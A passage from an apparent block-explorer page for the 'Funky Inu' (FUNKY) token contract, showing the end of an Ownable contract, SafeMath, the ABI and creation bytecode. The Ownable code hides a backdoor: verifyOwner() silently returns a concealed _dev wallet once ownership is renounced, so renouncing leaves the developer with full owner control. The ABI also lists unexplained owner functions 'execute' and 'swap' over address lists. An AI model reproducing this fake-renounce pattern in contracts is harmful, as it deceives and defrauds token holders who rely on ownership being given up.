    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _dev = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

File 7 of 7: SafeMath.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"reduceSellTaxAt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600860156101000a81548160ff0219169083151502179055506001600b5565013ca6512000600c556001601160006101000a81548160ff0219169083151502179055506001601160016101000a81548160ff0219169083151502179055506001601160026101000a81548160ff0219169083151502179055506000601160036101000a81548160ff021916908315150217905550348015620000a757600080fd5b50604051620062a8380380620062a88339818101604052810190620000cd919062000b7e565b806040518060400160405280600981526020017f46756e6b7920496e7500000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f46554e4b5900000000000000000000000000000000000000000000000000000081525081600390816200014b919062000e2a565b5080600490816200015d919062000e2a565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c1620001b5620004e360201b60201c565b620004eb60201b60201c565b506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000620001ed620005b160201b60201c565b600a620001fb9190620010a1565b655af3107a40006200020e9190620010f2565b905062000223826001620005ba60201b60201c565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000601490506000806014905060006103e8600a86620002789190620010f2565b6200028491906200116c565b600f819055506103e8600a866200029c9190620010f2565b620002a891906200116c565b600e819055506103e8600186620002c09190620010f2565b620002cc91906200116c565b6009819055506064600286620002e39190620010f2565b620002ef91906200116c565b600a819055508160178190555080601881905550601854601754620003159190620011a4565b60168190555083601481905550826015819055506015546014546200033b9190620011a4565b60138190555033601160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003d63360016200067560201b60201c565b620003e93060016200067560201b60201c565b620003fe61dead60016200067560201b60201c565b62000433601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200067560201b60201c565b62000446336001620005ba60201b60201c565b62000459306001620005ba60201b60201c565b6200046e61dead6001620005ba60201b60201c565b620004a3601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620005ba60201b60201c565b620004b4336200073060201b60201c565b620004c63386620007c660201b60201c565b620004d66200093e60201b60201c565b50505050505050620013d4565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b620005ca620009b360201b60201c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051620006699190620011fc565b60405180910390a25050565b62000685620009b360201b60201c565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007249190620011fc565b60405180910390a25050565b62000740620009b360201b60201c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620007b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007a990620012a0565b60405180910390fd5b620007c381620004eb60201b60201c565b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082f9062001312565b60405180910390fd5b6200084c6000838362000a4460201b60201c565b8060026000828254620008609190620011a4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008b79190620011a4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200091e919062001345565b60405180910390a36200093a6000838362000a4960201b60201c565b5050565b6200094e620009b360201b60201c565b6001601160036101000a81548160ff0219169083151502179055506000601160006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b620009c3620004e360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620009e962000a4e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a3990620013b2565b60405180910390fd5b565b505050565b505050565b60008062000a6162000a6a60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000aeb57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000b0f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b468262000b19565b9050919050565b62000b588162000b39565b811462000b6457600080fd5b50565b60008151905062000b788162000b4d565b92915050565b60006020828403121562000b975762000b9662000b14565b5b600062000ba78482850162000b67565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c3257607f821691505b60208210810362000c485762000c4762000bea565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cb27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c73565b62000cbe868362000c73565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d0b62000d0562000cff8462000cd6565b62000ce0565b62000cd6565b9050919050565b6000819050919050565b62000d278362000cea565b62000d3f62000d368262000d12565b84845462000c80565b825550505050565b600090565b62000d5662000d47565b62000d6381848462000d1c565b505050565b5b8181101562000d8b5762000d7f60008262000d4c565b60018101905062000d69565b5050565b601f82111562000dda5762000da48162000c4e565b62000daf8462000c63565b8101602085101562000dbf578190505b62000dd762000dce8562000c63565b83018262000d68565b50505b505050565b600082821c905092915050565b600062000dff6000198460080262000ddf565b1980831691505092915050565b600062000e1a838362000dec565b9150826002028217905092915050565b62000e358262000bb0565b67ffffffffffffffff81111562000e515762000e5062000bbb565b5b62000e5d825462000c19565b62000e6a82828562000d8f565b600060209050601f83116001811462000ea2576000841562000e8d578287015190505b62000e99858262000e0c565b86555062000f09565b601f19841662000eb28662000c4e565b60005b8281101562000edc5784890151825560018201915060208501945060208101905062000eb5565b8683101562000efc578489015162000ef8601f89168262000dec565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f9f5780860481111562000f775762000f7662000f11565b5b600185161562000f875780820291505b808102905062000f978562000f40565b945062000f57565b94509492505050565b60008262000fba57600190506200108d565b8162000fca57600090506200108d565b816001811462000fe3576002811462000fee5762001024565b60019150506200108d565b60ff84111562001003576200100262000f11565b5b8360020a9150848211156200101d576200101c62000f11565b5b506200108d565b5060208310610133831016604e8410600b84101617156200105e5782820a90508381111562001058576200105762000f11565b5b6200108d565b6200106d848484600162000f4d565b9250905081840481111562001087576200108662000f11565b5b81810290505b9392505050565b600060ff82169050919050565b6000620010ae8262000cd6565b9150620010bb8362001094565b9250620010ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000fa8565b905092915050565b6000620010ff8262000cd6565b91506200110c8362000cd6565b92508282026200111c8162000cd6565b9150828204841483151762001136576200113562000f11565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011798262000cd6565b9150620011868362000cd6565b9250826200119957620011986200113d565b5b828204905092915050565b6000620011b18262000cd6565b9150620011be8362000cd6565b9250828201905080821115620011d957620011d862000f11565b5b92915050565b60008115159050919050565b620011f681620011df565b82525050565b6000602082019050620012136000830184620011eb565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200128860268362001219565b915062001295826200122a565b604082019050919050565b60006020820190508181036000830152620012bb8162001279565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620012fa601f8362001219565b91506200130782620012c2565b602082019050919050565b600060208201905081810360008301526200132d81620012eb565b9050919050565b6200133f8162000cd6565b82525050565b60006020820190506200135c600083018462001334565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200139a60208362001219565b9150620013a78262001362565b602082019050919050565b60006020820190508181036000830152620013cd816200138b565b9050919050565b608051614ea3620014056000396000818161227d0152818161339a0152818161347b01526134a20152614ea36000f3fe6080604052600436106102605760003560e01c80638da5cb5b11610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b80639b6b5499116101085780639b6b5499146106f15780639fe640941461071a578063a457c2d714610743578063a4c82a0014610780578063a9059cbb146107ab578063bb85c6d1146107e857610267565b80638da5cb5b1461060c578063946172d61461063757806395d89b411461067457806399e5b5c81461069f5780639a7a23d6146106c857610267565b806331f81511116101dd5780635580145f116101a15780635580145f1461051057806370a0823114610539578063715018a614610576578063730c18881461058d57806373fa7ddb146105b657806377b5312c146105df57610267565b806331f815111461042857806339509351146104565780634ada218b146104935780634b896a3e146104be57806352d65858146104e757610267565b806326ededb81161022457806326ededb814610367578063293230b8146103905780632c3e486c146103a75780632e82f1a0146103d2578063313ce567146103fd57610267565b806306fdde031461026c578063095ea7b31461029757806318160ddd146102d4578063199ffc72146102ff57806323b872dd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e919061369c565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b9919061375c565b610a78565b6040516102cb91906137b7565b60405180910390f35b3480156102e057600080fd5b506102e9610a96565b6040516102f691906137e1565b60405180910390f35b34801561030b57600080fd5b50610314610aa0565b60405161032191906137e1565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c91906137fc565b610aa6565b60405161035e91906137b7565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906138b4565b610b9e565b005b34801561039c57600080fd5b506103a5610c7b565b005b3480156103b357600080fd5b506103bc610ce8565b6040516103c991906137e1565b60405180910390f35b3480156103de57600080fd5b506103e7610cee565b6040516103f491906137b7565b60405180910390f35b34801561040957600080fd5b50610412610d01565b60405161041f9190613930565b60405180910390f35b34801561043457600080fd5b5061043d610d0a565b60405161044d949392919061394b565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061375c565b610d44565b60405161048a91906137b7565b60405180910390f35b34801561049f57600080fd5b506104a8610df0565b6040516104b591906137b7565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613990565b610e03565b005b3480156104f357600080fd5b5061050e600480360381019061050991906139bd565b610eb1565b005b34801561051c57600080fd5b5061053760048036038101906105329190613990565b610f68565b005b34801561054557600080fd5b50610560600480360381019061055b91906139fd565b611016565b60405161056d91906137e1565b60405180910390f35b34801561058257600080fd5b5061058b61105e565b005b34801561059957600080fd5b506105b460048036038101906105af9190613a56565b611072565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190613aa9565b61113e565b005b3480156105eb57600080fd5b506105f46111eb565b60405161060393929190613b09565b60405180910390f35b34801561061857600080fd5b50610621611211565b60405161062e9190613b4f565b60405180910390f35b34801561064357600080fd5b5061065e600480360381019061065991906139fd565b61123b565b60405161066b91906137b7565b60405180910390f35b34801561068057600080fd5b50610689611291565b604051610696919061369c565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c191906139fd565b611323565b005b3480156106d457600080fd5b506106ef60048036038101906106ea9190613b6a565b6113eb565b005b3480156106fd57600080fd5b5061071860048036038101906107139190613b6a565b611491565b005b34801561072657600080fd5b50610741600480360381019061073c91906139bd565b611542565b005b34801561074f57600080fd5b5061076a6004803603810190610765919061375c565b6115f9565b60405161077791906137b7565b60405180910390f35b34801561078c57600080fd5b506107956116e4565b6040516107a291906137e1565b60405180910390f35b3480